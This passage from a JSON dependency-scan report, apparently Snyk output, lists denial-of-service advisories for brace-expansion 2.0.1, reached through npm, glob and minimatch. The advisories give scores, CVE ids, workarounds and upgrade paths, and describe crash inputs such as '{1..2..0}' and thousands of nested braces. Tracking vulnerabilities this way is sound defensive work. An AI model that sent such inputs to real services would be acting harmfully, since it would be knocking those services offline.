"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
